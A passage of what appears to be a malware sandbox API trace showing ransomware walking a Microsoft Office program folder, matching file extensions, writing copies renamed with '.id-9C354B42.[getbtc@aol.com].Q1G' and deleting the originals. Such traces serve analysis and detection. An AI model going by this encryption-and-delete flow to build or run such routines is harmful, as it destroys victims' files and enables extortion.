(lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.919] lstrlenW (lpString=".1cd") returned 4 [0257.919] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.919] lstrlenW (lpString=".jpg") returned 4 [0257.919] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.920] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.920] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21 [0257.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.920] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2242968) returned 1 [0257.920] CloseHandle (hObject=0x3d8) returned 1 [0257.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll")) returned 0x20 [0257.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0257.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.921] lstrlenW (lpString=".doc") returned 4 [0257.921] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.921] lstrlenW (lpString=".docx") returned 5 [0257.921] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0257.921] lstrlenW (lpString=".pdf") returned 4 [0257.921] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.921] lstrlenW (lpString=".xls") returned 4 [0257.921] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.921] lstrlenW (lpString=".xlsx") returned 5 [0257.921] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0257.921] lstrlenW (lpString=".ppt") returned 4 [0257.921] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.921] lstrlenW (lpString=".zip") returned 4 [0257.921] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.921] lstrlenW (lpString=".rar") returned 4 [0257.921] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.921] lstrlenW (lpString=".bz2") returned 4 [0257.921] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.921] lstrlenW (lpString=".7z") returned 3 [0257.921] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.921] lstrlenW (lpString=".dbf") returned 4 [0257.921] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.921] lstrlenW (lpString=".1cd") returned 4 [0257.922] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.922] lstrlenW (lpString=".jpg") returned 4 [0257.922] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.922] lstrlenW (lpString=".doc") returned 4 [0257.922] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.922] lstrlenW (lpString=".docx") returned 5 [0257.922] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0257.922] lstrlenW (lpString=".pdf") returned 4 [0257.922] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.922] lstrlenW (lpString=".xls") returned 4 [0257.922] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.922] lstrlenW (lpString=".xlsx") returned 5 [0257.922] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0257.922] lstrlenW (lpString=".ppt") returned 4 [0257.922] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.922] lstrlenW (lpString=".zip") returned 4 [0257.922] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.922] lstrlenW (lpString=".rar") returned 4 [0257.922] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.922] lstrlenW (lpString=".bz2") returned 4 [0257.922] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.922] lstrlenW (lpString=".7z") returned 3 [0257.922] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.922] lstrlenW (lpString=".dbf") returned 4 [0257.922] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.922] lstrlenW (lpString=".1cd") returned 4 [0257.922] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0257.922] lstrlenW (lpString=".jpg") returned 4 [0257.923] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.923] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.923] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0257.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.923] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=69000) returned 1 [0257.923] CloseHandle (hObject=0x3d8) returned 1 [0257.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll")) returned 0x20 [0257.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.926] lstrlenW (lpString=".doc") returned 4 [0257.926] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.926] lstrlenW (lpString=".docx") returned 5 [0257.926] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0257.926] lstrlenW (lpString=".pdf") returned 4 [0257.926] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.926] lstrlenW (lpString=".xls") returned 4 [0257.926] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.926] lstrlenW (lpString=".xlsx") returned 5 [0257.926] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0257.926] lstrlenW (lpString=".ppt") returned 4 [0257.926] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.926] lstrlenW (lpString=".zip") returned 4 [0257.926] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.926] lstrlenW (lpString=".rar") returned 4 [0257.926] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.927] lstrlenW (lpString=".bz2") returned 4 [0257.927] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.927] lstrlenW (lpString=".7z") returned 3 [0257.927] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.927] lstrlenW (lpString=".dbf") returned 4 [0257.927] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.927] lstrlenW (lpString=".1cd") returned 4 [0257.927] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.927] lstrlenW (lpString=".jpg") returned 4 [0257.927] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.927] lstrlenW (lpString=".doc") returned 4 [0257.927] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.927] lstrlenW (lpString=".docx") returned 5 [0257.927] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0257.927] lstrlenW (lpString=".pdf") returned 4 [0257.927] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.927] lstrlenW (lpString=".xls") returned 4 [0257.927] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.927] lstrlenW (lpString=".xlsx") returned 5 [0257.927] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0257.927] lstrlenW (lpString=".ppt") returned 4 [0257.927] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.927] lstrlenW (lpString=".zip") returned 4 [0257.927] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.927] lstrlenW (lpString=".rar") returned 4 [0257.927] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.927] lstrlenW (lpString=".bz2") returned 4 [0257.927] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.927] lstrlenW (lpString=".7z") returned 3 [0257.928] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.928] lstrlenW (lpString=".dbf") returned 4 [0257.928] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.928] lstrlenW (lpString=".1cd") returned 4 [0257.928] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0257.928] lstrlenW (lpString=".jpg") returned 4 [0257.928] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.928] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.928] lstrlenW (lpString="BCSAutogen.dll") returned 14 [0257.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.928] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=50048) returned 1 [0257.928] CloseHandle (hObject=0x3d8) returned 1 [0257.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll")) returned 0x20 [0257.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.929] lstrlenW (lpString=".doc") returned 4 [0257.929] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.929] lstrlenW (lpString=".docx") returned 5 [0257.929] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0257.929] lstrlenW (lpString=".pdf") returned 4 [0257.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.929] lstrlenW (lpString=".xls") returned 4 [0257.929] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.929] lstrlenW (lpString=".xlsx") returned 5 [0257.929] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0257.929] lstrlenW (lpString=".ppt") returned 4 [0257.929] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.929] lstrlenW (lpString=".zip") returned 4 [0257.929] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.929] lstrlenW (lpString=".rar") returned 4 [0257.929] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.929] lstrlenW (lpString=".bz2") returned 4 [0257.929] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.929] lstrlenW (lpString=".7z") returned 3 [0257.929] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.929] lstrlenW (lpString=".dbf") returned 4 [0257.930] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.930] lstrlenW (lpString=".1cd") returned 4 [0257.930] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.930] lstrlenW (lpString=".jpg") returned 4 [0257.930] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.930] lstrlenW (lpString=".doc") returned 4 [0257.930] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.930] lstrlenW (lpString=".docx") returned 5 [0257.930] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0257.930] lstrlenW (lpString=".pdf") returned 4 [0257.930] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.930] lstrlenW (lpString=".xls") returned 4 [0257.930] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.930] lstrlenW (lpString=".xlsx") returned 5 [0257.930] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0257.930] lstrlenW (lpString=".ppt") returned 4 [0257.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.930] lstrlenW (lpString=".zip") returned 4 [0257.930] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.930] lstrlenW (lpString=".rar") returned 4 [0257.930] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.930] lstrlenW (lpString=".bz2") returned 4 [0257.930] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.930] lstrlenW (lpString=".7z") returned 3 [0257.930] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.930] lstrlenW (lpString=".dbf") returned 4 [0257.930] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.930] lstrlenW (lpString=".1cd") returned 4 [0257.930] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0257.930] lstrlenW (lpString=".jpg") returned 4 [0257.931] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.931] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.931] lstrlenW (lpString="BCSClient.Msg.dll") returned 17 [0257.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.931] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=39776) returned 1 [0257.931] CloseHandle (hObject=0x3d8) returned 1 [0257.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll")) returned 0x20 [0257.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0257.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0257.932] lstrlenW (lpString=".doc") returned 4 [0257.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.932] lstrlenW (lpString=".docx") returned 5 [0257.932] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0257.932] lstrlenW (lpString=".pdf") returned 4 [0257.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.932] lstrlenW (lpString=".xls") returned 4 [0257.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.932] lstrlenW (lpString=".xlsx") returned 5 [0257.932] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0257.932] lstrlenW (lpString=".ppt") returned 4 [0257.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0257.932] lstrlenW (lpString=".zip") returned 4 [0257.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.932] lstrlenW (lpString=".rar") returned 4 [0257.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.932] lstrlenW (lpString=".bz2") returned 4 [0257.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.932] lstrlenW (lpString=".7z") returned 3 [0257.932] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0257.932] lstrlenW (lpString=".dbf") returned 4 [0257.932] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.983] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.983] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.983] GetLastError () returned 0x0 [0257.983] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x6886, lpOverlapped=0x0) returned 1 [0258.017] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x6890, lpOverlapped=0x0) returned 1 [0258.018] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.018] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0258.018] SetEndOfFile (hFile=0x3f0) returned 1 [0258.018] CloseHandle (hObject=0x3f0) returned 1 [0258.018] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.018] SetEndOfFile (hFile=0x3c8) returned 1 [0258.026] CloseHandle (hObject=0x3c8) returned 1 [0258.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 1 [0258.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.038] lstrlenW (lpString=".doc") returned 4 [0258.038] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0258.038] lstrlenW (lpString=".docx") returned 5 [0258.038] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1 [0258.038] lstrlenW (lpString=".pdf") returned 4 [0258.038] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0258.038] lstrlenW (lpString=".xls") returned 4 [0258.038] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0258.038] lstrlenW (lpString=".xlsx") returned 5 [0258.038] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1 [0258.038] lstrlenW (lpString=".ppt") returned 4 [0258.038] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0258.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.038] lstrlenW (lpString=".zip") returned 4 [0258.038] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0258.038] lstrlenW (lpString=".rar") returned 4 [0258.038] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0258.039] lstrlenW (lpString=".bz2") returned 4 [0258.039] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0258.039] lstrlenW (lpString=".7z") returned 3 [0258.039] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0258.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.039] lstrlenW (lpString=".dbf") returned 4 [0258.039] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0258.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.039] lstrlenW (lpString=".1cd") returned 4 [0258.039] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0258.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.039] lstrlenW (lpString=".jpg") returned 4 [0258.039] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0258.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.039] lstrlenW (lpString=".doc") returned 4 [0258.039] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0258.039] lstrlenW (lpString=".docx") returned 5 [0258.039] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1 [0258.039] lstrlenW (lpString=".pdf") returned 4 [0258.039] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0258.039] lstrlenW (lpString=".xls") returned 4 [0258.039] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0258.039] lstrlenW (lpString=".xlsx") returned 5 [0258.039] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1 [0258.039] lstrlenW (lpString=".ppt") returned 4 [0258.039] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0258.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 